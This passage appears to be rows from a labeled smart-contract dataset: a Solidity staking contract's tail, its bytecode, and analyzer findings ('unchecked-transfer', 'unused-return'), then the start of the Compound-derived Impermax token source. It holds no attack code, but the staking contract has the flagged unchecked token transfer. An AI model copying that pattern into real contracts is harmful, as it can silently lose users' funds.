uint _reward = pending[msg.sender];
pending[msg.sender] = 0;
require(Token(tokenAddress).transfer(msg.sender, _reward), "Could not transfer tokens.");
totalClaimedRewards = totalClaimedRewards.add(_reward);
totalEarnedTokens[msg.sender] = totalEarnedTokens[msg.sender].add(_reward);
if(depositedTokens[msg.sender] == 0){
holders.remove(msg.sender);
}
}
function withdraw(uint _amount) public{
require(block.timestamp.sub(startTime) > unstakeTime || ended, "Not yet.");
require(depositedTokens[msg.sender] >= _amount);
require(_amount > 0);
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(_amount);
totalDeposited = totalDeposited.sub(_amount);
require(Token(tokenAddress).transfer(msg.sender, _amount), "Could not transfer tokens.");
if(depositedTokens[msg.sender] == 0 && pending[msg.sender] == 0){
holders.remove(msg.sender);
}
}
/*
function withdrawAllAfterEnd() public {
require(ended, "Staking has not ended");
uint _pend = pending[msg.sender];
uint amountToWithdraw = _pend.add(depositedTokens[msg.sender]);
require(amountToWithdraw >= 0, "Invalid amount to withdraw");
pending[msg.sender] = 0;
depositedTokens[msg.sender] = 0;
totalDeposited = totalDeposited.sub(depositedTokens[msg.sender]);
require(Token(tokenAddress).transfer(msg.sender, amountToWithdraw), "Could not transfer tokens.");
totalClaimedRewards = totalClaimedRewards.add(_pend);
totalEarnedTokens[msg.sender] = totalEarnedTokens[msg.sender].add(_pend);
holders.remove(msg.sender);
}*/
function getStakersList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
// function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake)
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
require (_tokenAddr != tokenAddress , "Cannot Transfer Out this token");
Token(_tokenAddr).transfer(_to, _amount);
}
} | 0x608060405234801561001057600080fd5b506004361061018e5760003560e01c806398896d10116100de578063c3e5ae5311610097578063d9eaa3ed11610071578063d9eaa3ed1461047c578063efbe1c1c146104ac578063f2fde38b146104ca578063ff50abdc146104e65761018e565b8063c3e5ae5314610410578063d578ceab14610440578063d7e527451461045e5761018e565b806398896d101461033a5780639d76ea581461036a578063abc6fd0b14610388578063b6b55f25146103a6578063bf95c78d146103c2578063c326bf4f146103e05761018e565b80635eebea201161014b578063750142e611610125578063750142e6146102c257806378e97925146102e05780638da5cb5b146102fe5780639232eed31461031c5761018e565b80635eebea20146102465780636270cd18146102765780636a395ccb146102a65761018e565b806312fa6feb146101935780631911cf4a146101b157806327b3bf11146101e45780632e1a7d4d14610202578063308feec31461021e5780634e71d92d1461023c575b600080fd5b61019b610504565b6040516101a8919061253b565b60405180910390f35b6101cb60048036038101906101c691906121d4565b610517565b6040516101db94939291906124da565b60405180910390f35b6101ec61087a565b6040516101f99190612656565b60405180910390f35b61021c600480360381019061021791906121ab565b610881565b005b610226610b86565b6040516102339190612656565b60405180910390f35b610244610b97565b005b610260600480360381019061025b919061210a565b610eea565b60405161026d9190612656565b60405180910390f35b610290600480360381019061028b919061210a565b610f02565b60405161029d9190612656565b60405180910390f35b6102c060048036038101906102bb9190612133565b610f1a565b005b6102ca611088565b6040516102d79190612656565b60405180910390f35b6102e861108e565b6040516102f59190612656565b60405180910390f35b610306611094565b604051610313919061245f565b60405180910390f35b6103246110b8565b6040516103319190612656565b60405180910390f35b610354600480360381019061034f919061210a565b6110be565b6040516103619190612656565b60405180910390f35b61037261112f565b60405161037f919061245f565b60405180910390f35b610390611147565b60405161039d919061253b565b60405180910390f35b6103c060048036038101906103bb91906121ab565b611360565b005b6103ca6115bf565b6040516103d79190612656565b60405180910390f35b6103fa60048036038101906103f5919061210a565b6115c5565b6040516104079190612656565b60405180910390f35b61042a6004803603810190610425919061210a565b6115dd565b6040516104379190612656565b60405180910390f35b6104486115f5565b6040516104559190612656565b60405180910390f35b6104666115fb565b6040516104739190612656565b60405180910390f35b610496600480360381019061049191906121ab565b611602565b6040516104a3919061253b565b60405180910390f35b6104b4611841565b6040516104c1919061253b565b60405180910390f35b6104e460048036038101906104df919061210a565b61190e565b005b6104ee611a5d565b6040516104fb9190612656565b60405180910390f35b600660009054906101000a900460ff1681565b60608060608084861061052957600080fd5b600061053e8787611a6390919063ffffffff16565b905060008167ffffffffffffffff811115610582577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156105b05781602001602082028036833780820191505090505b50905060008267ffffffffffffffff8111156105f5577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156106235781602001602082028036833780820191505090505b50905060008367ffffffffffffffff811115610668577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156106965781602001602082028036833780820191505090505b50905060008467ffffffffffffffff8111156106db577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156107095781602001602082028036833780820191505090505b50905060008b90505b8a81101561085f576000610730826008611ab090919063ffffffff16565b905060006107478e84611a6390919063ffffffff16565b905081878281518110610783577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054848281518110610836577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010181815250505050610858600182611aca90919063ffffffff16565b9050610712565b50838383839850985098509850505050505092959194509250565b6230c78081565b6230c78061089a60075442611a6390919063ffffffff16565b11806108b25750600660009054906101000a900460ff165b6108f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e890612636565b60405180910390fd5b80600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561093d57600080fd5b6000811161094a57600080fd5b61099c81600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6390919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109f481600454611a6390919063ffffffff16565b6004819055507387ea1f06d7293161b9ff080662c1b0df775122d373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610a499291906124b1565b602060405180830381600087803b158015610a6357600080fd5b505af1158015610a77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9b9190612182565b610ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad1906125b6565b60405180910390fd5b6000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610b6857506000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610b8357610b81336008611b1c90919063ffffffff16565b505b50565b6000610b926008611b4c565b905090565b610bab336008611b6190919063ffffffff16565b610bb457600080fd5b6230c780610bcd60075442611a6390919063ffffffff16565b1180610be55750600660009054906101000a900460ff165b610c24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1b90612636565b60405180910390fd5b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411610c7057600080fd5b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507387ea1f06d7293161b9ff080662c1b0df775122d373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610d489291906124b1565b602060405180830381600087803b158015610d6257600080fd5b505af1158015610d76573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d9a9190612182565b610dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd0906125b6565b60405180910390fd5b610dee81600354611aca90919063ffffffff16565b600381905550610e4681600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610ee757610ee5336008611b1c90919063ffffffff16565b505b50565b600b6020528060005260406000206000915090505481565b600c6020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f7257600080fd5b7387ea1f06d7293161b9ff080662c1b0df775122d373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ff5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fec90612596565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b81526004016110309291906124b1565b602060405180830381600087803b15801561104a57600080fd5b505af115801561105e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110829190612182565b50505050565b60025481565b60075481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60015481565b60006110d4826008611b6190919063ffffffff16565b6110e1576000905061112a565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050809150505b919050565b7387ea1f06d7293161b9ff080662c1b0df775122d381565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111a257600080fd5b600660009054906101000a900460ff16156111f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e990612576565b60405180910390fd5b60008060005b6112026008611b4c565b8110156113395761121d816008611ab090919063ffffffff16565b9250611287600454611279600154600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9190919063ffffffff16565b611bf890919063ffffffff16565b91506112db82600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611332600182611aca90919063ffffffff16565b90506111f8565b50611351600154600554611aca90919063ffffffff16565b60058190555060019250505090565b600660009054906101000a900460ff16156113b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a7906125d6565b60405180910390fd5b600081116113f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ea906125f6565b60405180910390fd5b7387ea1f06d7293161b9ff080662c1b0df775122d373ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b81526004016114449392919061247a565b602060405180830381600087803b15801561145e57600080fd5b505af1158015611472573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114969190612182565b6114d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114cc90612616565b60405180910390fd5b6114de33611c13565b61153081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061158881600454611aca90919063ffffffff16565b6004819055506115a2336008611b6190919063ffffffff16565b6115bc576115ba336008611dd390919063ffffffff16565b505b50565b60055481565b600a6020528060005260406000206000915090505481565b600d6020528060005260406000206000915090505481565b60035481565b6230c78081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461165d57600080fd5b600660009054906101000a900460ff16156116ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a490612576565b60405180910390fd5b600082116116ba57600080fd5b60008060005b6116ca6008611b4c565b8110156117ff576116e5816008611ab090919063ffffffff16565b925061174d60045461173f87600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9190919063ffffffff16565b611bf890919063ffffffff16565b91506117a182600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117f8600182611aca90919063ffffffff16565b90506116c0565b5061181584600554611aca90919063ffffffff16565b6005819055506001600660006101000a81548160ff021916908315150217905550600192505050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461189c57600080fd5b600660009054906101000a900460ff16156118ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e390612576565b60405180910390fd5b6001600660006101000a81548160ff0219169083151502179055506001905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461196657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156119a057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b600082821115611a9c577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b8183611aa891906127d5565b905092915050565b6000611abf8360000183611e03565b60001c905092915050565b6000808284611ad991906126f4565b905083811015611b12577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b8091505092915050565b6000611b44836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611e9d565b905092915050565b6000611b5a82600001612027565b9050919050565b6000611b89836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612038565b905092915050565b6000808284611ba0919061277b565b90506000841480611bbb5750828482611bb9919061274a565b145b611bee577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b8091505092915050565b6000808284611c07919061274a565b90508091505092915050565b6000611c1e826110be565b90506000811115611dcf576000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611cc081600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d1881600454611aca90919063ffffffff16565b600481905550611d7081600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611dc881600354611aca90919063ffffffff16565b6003819055505b5050565b6000611dfb836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61205b565b905092915050565b600081836000018054905011611e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4590612556565b60405180910390fd5b826000018281548110611e8a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154905092915050565b6000808360010160008481526020019081526020016000205490506000811461201b576000600182611ecf91906127d5565b9050600060018660000180549050611ee791906127d5565b90506000866000018281548110611f27577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154905080876000018481548110611f71577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200181905550600183611f8c91906126f4565b8760010160008381526020019081526020016000208190555086600001805480611fdf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050612021565b60009150505b92915050565b600081600001805490509050919050565b600080836001016000848152602001908152602001600020541415905092915050565b60006120678383612038565b6120c05782600001829080600181540180825580915050600190039060005260206000200160009091909190915055826000018054905083600101600084815260200190815260200160002081905550600190506120c5565b600090505b92915050565b6000813590506120da81612a1d565b92915050565b6000815190506120ef81612a34565b92915050565b60008135905061210481612a4b565b92915050565b60006020828403121561211c57600080fd5b600061212a848285016120cb565b91505092915050565b60008060006060848603121561214857600080fd5b6000612156868287016120cb565b9350506020612167868287016120cb565b9250506040612178868287016120f5565b9150509250925092565b60006020828403121561219457600080fd5b60006121a2848285016120e0565b91505092915050565b6000602082840312156121bd57600080fd5b60006121cb848285016120f5565b91505092915050565b600080604083850312156121e757600080fd5b60006121f5858286016120f5565b9250506020612206858286016120f5565b9150509250929050565b600061221c8383612240565b60208301905092915050565b60006122348383612441565b60208301905092915050565b61224981612809565b82525050565b61225881612809565b82525050565b600061226982612691565b61227381856126c1565b935061227e83612671565b8060005b838110156122af5781516122968882612210565b97506122a1836126a7565b925050600181019050612282565b5085935050505092915050565b60006122c78261269c565b6122d181856126d2565b93506122dc83612681565b8060005b8381101561230d5781516122f48882612228565b97506122ff836126b4565b9250506001810190506122e0565b5085935050505092915050565b6123238161281b565b82525050565b60006123366022836126e3565b9150612341826128af565b604082019050919050565b60006123596015836126e3565b9150612364826128fe565b602082019050919050565b600061237c601e836126e3565b915061238782612927565b602082019050919050565b600061239f601a836126e3565b91506123aa82612950565b602082019050919050565b60006123c26011836126e3565b91506123cd82612979565b602082019050919050565b60006123e56017836126e3565b91506123f0826129a2565b602082019050919050565b6000612408601c836126e3565b9150612413826129cb565b602082019050919050565b600061242b6008836126e3565b9150612436826129f4565b602082019050919050565b61244a81612847565b82525050565b61245981612847565b82525050565b6000602082019050612474600083018461224f565b92915050565b600060608201905061248f600083018661224f565b61249c602083018561224f565b6124a96040830184612450565b949350505050565b60006040820190506124c6600083018561224f565b6124d36020830184612450565b9392505050565b600060808201905081810360008301526124f4818761225e565b9050818103602083015261250881866122bc565b9050818103604083015261251c81856122bc565b9050818103606083015261253081846122bc565b905095945050505050565b6000602082019050612550600083018461231a565b92915050565b6000602082019050818103600083015261256f81612329565b9050919050565b6000602082019050818103600083015261258f8161234c565b9050919050565b600060208201905081810360008301526125af8161236f565b9050919050565b600060208201905081810360008301526125cf81612392565b9050919050565b600060208201905081810360008301526125ef816123b5565b9050919050565b6000602082019050818103600083015261260f816123d8565b9050919050565b6000602082019050818103600083015261262f816123fb565b9050919050565b6000602082019050818103600083015261264f8161241e565b9050919050565b600060208201905061266b6000830184612450565b92915050565b6000819050602082019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b60006126ff82612847565b915061270a83612847565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561273f5761273e612851565b5b828201905092915050565b600061275582612847565b915061276083612847565b9250826127705761276f612880565b5b828204905092915050565b600061278682612847565b915061279183612847565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127ca576127c9612851565b5b828202905092915050565b60006127e082612847565b91506127eb83612847565b9250828210156127fe576127fd612851565b5b828203905092915050565b600061281482612827565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f456e756d657261626c655365743a20696e646578206f7574206f6620626f756e60008201527f6473000000000000000000000000000000000000000000000000000000000000602082015250565b7f5374616b696e6720616c726561647920656e6465640000000000000000000000600082015250565b7f43616e6e6f74205472616e73666572204f7574207468697320746f6b656e0000600082015250565b7f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000600082015250565b7f5374616b696e672068617320656e646564000000000000000000000000000000600082015250565b7f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000600082015250565b7f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000600082015250565b7f4e6f74207965742e000000000000000000000000000000000000000000000000600082015250565b612a2681612809565b8114612a3157600080fd5b50565b612a3d8161281b565b8114612a4857600080fd5b50565b612a5481612847565b8114612a5f57600080fd5b5056fea2646970667358221220ffb43c9e59637bee1aa45e38ca00066d9be81dab10658338a7d549b9aafea85964736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,373 |
0x7b35ce522cb72e4077baeb96cb923a5529764a00 | // COPIED FROM https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
// Copyright 2020 Compound Labs, Inc.
// Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
// 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
// 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
// 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
pragma solidity =0.6.6;
pragma experimental ABIEncoderV2;
contract Imx {
/// @notice EIP-20 token name for this token
string public constant name = "Impermax";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "IMX";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public constant totalSupply = 100_000_000e18; // 100 million Imx
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Construct a new Imx token
* @param account The initial account to grant all the tokens
*/
constructor(address account) public {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Imx::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "Imx::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "Imx::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "Imx::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Imx::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Imx::delegateBySig: invalid nonce");
require(now <= expiry, "Imx::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "Imx::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
